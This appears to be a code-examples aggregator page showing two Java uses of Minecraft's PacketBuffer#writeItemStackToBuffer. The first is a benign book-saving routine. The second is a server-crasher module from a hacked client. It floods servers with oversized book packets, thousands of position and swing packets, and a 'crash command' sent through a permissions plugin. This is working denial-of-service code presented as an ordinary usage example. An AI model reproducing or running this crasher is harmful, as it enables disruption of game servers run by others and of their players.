Java Code Examples for net.minecraft.network.PacketBuffer#writeItemStackToBuffer()

The following examples show how to use net.minecraft.network.PacketBuffer#writeItemStackToBuffer() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: GuiPythonBook.java    From pycode-minecraft with MIT License 6 votes vote down vote up
private void sendBookToServer() throws IOException {
    if (!this.bookIsModified || this.bookPages == null) {
        return;
    }
    while (this.bookPages.tagCount() > 1) {
        String s = this.bookPages.getStringTagAt(this.bookPages.tagCount() - 1);
        if (!s.trim().isEmpty()) {
            break;
        }
        this.bookPages.removeTag(this.bookPages.tagCount() - 1);
    }
    this.bookObj.setTagInfo("pages", this.bookPages);
    String title = this.bookTitle;
    if (title.equals(TITLE_PLACEHOLDER)) title = "";
    this.bookObj.setTagInfo("title", new NBTTagString(title));

    PacketBuffer packetbuffer = new PacketBuffer(Unpooled.buffer());
    packetbuffer.writeItemStackToBuffer(this.bookObj);
    this.mc.getConnection().sendPacket(new CPacketCustomPayload("MC|BEdit", packetbuffer));
}
 
Example 2
Source File: ServerCrasher.java    From LiquidBounce with GNU General Public License v3.0 4 votes vote down vote up
@EventTarget
public void onMotion(final MotionEvent event) {
    if(event.getEventState() == EventState.POST)
        return;

    switch(modeValue.get().toLowerCase()) {
        case "book":
            final ItemStack bookStack = new ItemStack(Items.writable_book);
            final NBTTagCompound bookCompound = new NBTTagCompound();

            bookCompound.setString("author", RandomUtils.randomNumber(20));
            bookCompound.setString("title", RandomUtils.randomNumber(20));

            final NBTTagList pageList = new NBTTagList();
            final String pageText = RandomUtils.randomNumber(600);

            for(int page = 0; page < 50; page++)
                pageList.appendTag(new NBTTagString(pageText));

            bookCompound.setTag("pages", pageList);
            bookStack.setTagCompound(bookCompound);

            for(int packets = 0; packets < 100; packets++) {
                final PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());
                packetBuffer.writeItemStackToBuffer(bookStack);
                mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload(new Random().nextBoolean() ? "MC|BSign" : "MC|BEdit", packetBuffer));
            }
            break;
        case "cubecraft":
            final double x = mc.thePlayer.posX;
            final double y = mc.thePlayer.posY;
            final double z = mc.thePlayer.posZ;

            for(int i = 0; i < 3000; ++i) {
                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x,
                        y + 0.09999999999999D, z, false));
                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));
            }
            mc.thePlayer.motionY = 0;
            break;
        case "pex":
            if(pexTimer.hasTimePassed(2000)) {
                // Send crash command
                mc.thePlayer.sendChatMessage(new Random().nextBoolean() ? "/pex promote a a" : "/pex demote a a");
                pexTimer.reset();
            }
            break;
        case "swing":
            for (int i = 0; i < 5000; i++)
                mc.getNetHandler().addToSendQueue(new C0APacketAnimation());
            break;
        default:
            setState(false); // Disable module when mode is just a one run crasher
            break;
    }
}